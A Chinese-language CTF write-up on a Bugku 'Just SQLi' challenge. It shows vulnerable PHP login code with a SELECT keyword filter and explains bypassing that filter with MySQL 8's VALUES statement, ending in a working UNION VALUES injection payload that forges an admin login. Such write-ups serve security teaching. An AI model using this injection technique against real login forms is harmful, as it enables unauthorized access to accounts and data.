以bugku上一道题为例:
打开为一个登录界面
观察源码为:
<?php
$user = NULL;
$is_admin = 0;
if (isset($_GET["source"])) {
highlight_file(__FILE__);
exit;
}
if (isset($_POST["username"]) && isset($_POST["password"])) {
$username = $_POST["username"];
$password = $_POST["password"];
$db = new PDO("sqlite:../database.db");
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
try {
$db->exec("CREATE TABLE IF NOT EXISTS users (username TEXT UNIQUE, password TEXT, is_admin BOOL);");
$q = "username, is_admin FROM users WHERE username = '$username' AND password = '$password'";
if (preg_match("/SELECT/i", $q)) {
throw new Exception("only select is a forbidden word");
}
$rows = $db->query("SELECT " . $q, PDO::FETCH_ASSOC);
foreach ($rows as $row) {
$user = $row["username"];
$is_admin = $row["is_admin"];
}
}
catch (Exception $e) {
exit("EXCEPTION!");
}
}
?>
需要传入两个参数username,password;并对select做了过滤
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Just SQLi</title>
</head>
<body>
<h1>Just SQLi</h1>
<div><a href="?source=1">view source</a>
<?php if ($user) { ?>
<div>Nice Login <?= $user ?></div>
<?php if ($is_admin) { ?>
<div>And Nice to Get the Admin Permission!</div>
<div> <?= include("../flag.php"); ?></div>
<?php } ?>
<?php } ?>
<form action="" method="POST">
<div>username: <input type="text" name="username" required></div>
<div>password: <input type="text" name="password" required></div>
<div>
<input type="submit" value="Login">
</div>
</form>
</body>
</html>
判断
if ($is_admin),为真即输出包含文件flag.php;
代码
$db->exec("CREATE TABLE IF NOT EXISTS users (username TEXT UNIQUE, password TEXT, is_admin BOOL);");创建了一个user表,表里存在一个类型为bool的参数;
观察代码发现$q是由传入参数拼接而成的,考虑通过注入生成一个bool类型为1的账号;
在mysql8之后,多了两个新的用法table
,value,可用于代替select
TABLE
TABLE users;
等于
SELECT * FROM users;
//区别
1.TABLE始终显示表的所有列
2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句
VALUES:
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number]
row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]
value_list:
value[, value][, ...]
column_designator:
column_index
//VALUES是MySQL 8.0.19中引入的DML语句,它以表的形式返回一组一行或多行。换句话说,它是一个表值构造函数,也用作独立的 SQL
语句。
这里需要构造一个用户的bool类型,所以使用values,
values 也可以结合union 使用,判断列数和进行注入
观察代码发现提交参数username为'号闭合,所以需要一个'闭合username前的';
提交:
username=admin' UNION VALUES ('admin',1) --+&password=1
得到flag